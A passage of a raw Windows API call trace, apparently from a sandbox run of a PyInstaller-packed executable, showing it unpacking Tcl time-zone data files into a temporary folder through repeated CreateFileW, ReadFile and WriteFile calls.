(dwErrCode=0x0) [0041.973] GetLastError () returned 0x0 [0041.973] SetLastError (dwErrCode=0x0) [0041.973] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.973] GetFileType (hFile=0x10c) returned 0x1 [0041.973] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.973] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.973] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.973] CloseHandle (hObject=0x10c) returned 1 [0041.973] GetLastError () returned 0x0 [0041.973] SetLastError (dwErrCode=0x0) [0041.973] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.973] GetFileType (hFile=0x10c) returned 0x1 [0041.973] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.973] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.974] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.974] CloseHandle (hObject=0x10c) returned 1 [0041.974] GetLastError () returned 0x0 [0041.974] SetLastError (dwErrCode=0x0) [0041.974] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0041.974] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.974] GetFileType (hFile=0x10c) returned 0x1 [0041.974] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.974] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.974] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.974] CloseHandle (hObject=0x10c) returned 1 [0041.974] GetLastError () returned 0x0 [0041.974] SetLastError (dwErrCode=0x0) [0041.974] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+4") returned 66 [0041.975] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+4"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.975] GetLastError () returned 0x2 [0041.975] SetLastError (dwErrCode=0x2) [0041.975] GetLastError () returned 0x2 [0041.975] SetLastError (dwErrCode=0x2) [0041.975] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+4", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+4", lpFilePart=0x0) returned 0x41 [0041.975] GetLastError () returned 0x2 [0041.975] SetLastError (dwErrCode=0x2) [0041.975] GetLastError () returned 0x2 [0041.975] SetLastError (dwErrCode=0x2) [0041.975] GetLastError () returned 0x2 [0041.975] SetLastError (dwErrCode=0x2) [0041.975] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+4") returned 66 [0041.975] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.975] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+4"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.976] GetFileType (hFile=0x10c) returned 0x1 [0041.976] htonl (hostlong=0x72000000) returned 0x72 [0041.976] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.976] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x72, lpOverlapped=0x0) returned 1 [0041.977] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.977] CloseHandle (hObject=0x10c) returned 1 [0041.977] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.977] htonl (hostlong=0x30000000) returned 0x30 [0041.977] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.977] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.977] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.977] GetFileType (hFile=0x10c) returned 0x1 [0041.977] htonl (hostlong=0x77b85b00) returned 0x5bb877 [0041.977] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606877, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.977] htonl (hostlong=0x74000000) returned 0x74 [0041.977] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x55cfe0 [0041.977] htonl (hostlong=0x74000000) returned 0x74 [0041.977] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.977] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.978] htonl (hostlong=0x72000000) returned 0x72 [0041.978] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x72) returned 0x550600 [0041.978] htonl (hostlong=0x74000000) returned 0x74 [0041.978] htonl (hostlong=0x72000000) returned 0x72 [0041.978] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.978] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.978] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.978] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.978] CloseHandle (hObject=0x10c) returned 1 [0041.978] GetLastError () returned 0x0 [0041.978] SetLastError (dwErrCode=0x0) [0041.978] GetLastError () returned 0x0 [0041.978] SetLastError (dwErrCode=0x0) [0041.978] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.978] GetFileType (hFile=0x10c) returned 0x1 [0041.978] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.978] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.978] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.978] CloseHandle (hObject=0x10c) returned 1 [0041.978] GetLastError () returned 0x0 [0041.978] SetLastError (dwErrCode=0x0) [0041.979] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.979] GetFileType (hFile=0x10c) returned 0x1 [0041.979] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.979] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.979] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.979] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.979] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.979] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.979] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.979] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.979] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.979] CloseHandle (hObject=0x10c) returned 1 [0041.979] GetLastError () returned 0x0 [0041.979] SetLastError (dwErrCode=0x0) [0041.979] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0041.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.979] GetFileType (hFile=0x10c) returned 0x1 [0041.979] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.979] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.979] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.979] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.979] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.979] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.979] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.979] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.980] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.980] CloseHandle (hObject=0x10c) returned 1 [0041.980] GetLastError () returned 0x0 [0041.980] SetLastError (dwErrCode=0x0) [0041.980] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+5") returned 66 [0041.980] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+5"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.980] GetLastError () returned 0x2 [0041.980] SetLastError (dwErrCode=0x2) [0041.980] GetLastError () returned 0x2 [0041.980] SetLastError (dwErrCode=0x2) [0041.980] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+5", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+5", lpFilePart=0x0) returned 0x41 [0041.980] GetLastError () returned 0x2 [0041.980] SetLastError (dwErrCode=0x2) [0041.980] GetLastError () returned 0x2 [0041.980] SetLastError (dwErrCode=0x2) [0041.980] GetLastError () returned 0x2 [0041.980] SetLastError (dwErrCode=0x2) [0041.980] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+5") returned 66 [0041.980] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.980] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+5"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.980] GetFileType (hFile=0x10c) returned 0x1 [0041.980] htonl (hostlong=0x72000000) returned 0x72 [0041.980] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.980] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x72, lpOverlapped=0x0) returned 1 [0041.982] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.982] CloseHandle (hObject=0x10c) returned 1 [0041.982] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.982] htonl (hostlong=0x30000000) returned 0x30 [0041.982] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.982] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.982] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.982] GetFileType (hFile=0x10c) returned 0x1 [0041.982] htonl (hostlong=0xebb85b00) returned 0x5bb8eb [0041.982] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6068eb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.982] htonl (hostlong=0x74000000) returned 0x74 [0041.982] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x55cfe0 [0041.982] htonl (hostlong=0x74000000) returned 0x74 [0041.982] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.982] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.982] htonl (hostlong=0x72000000) returned 0x72 [0041.982] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x72) returned 0x550600 [0041.982] htonl (hostlong=0x74000000) returned 0x74 [0041.982] htonl (hostlong=0x72000000) returned 0x72 [0041.982] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.982] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.982] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.983] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.983] CloseHandle (hObject=0x10c) returned 1 [0041.983] GetLastError () returned 0x0 [0041.983] SetLastError (dwErrCode=0x0) [0041.983] GetLastError () returned 0x0 [0041.983] SetLastError (dwErrCode=0x0) [0041.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.983] GetFileType (hFile=0x10c) returned 0x1 [0041.983] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.983] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.983] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.983] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.983] FileTimeToSystemTime (in: 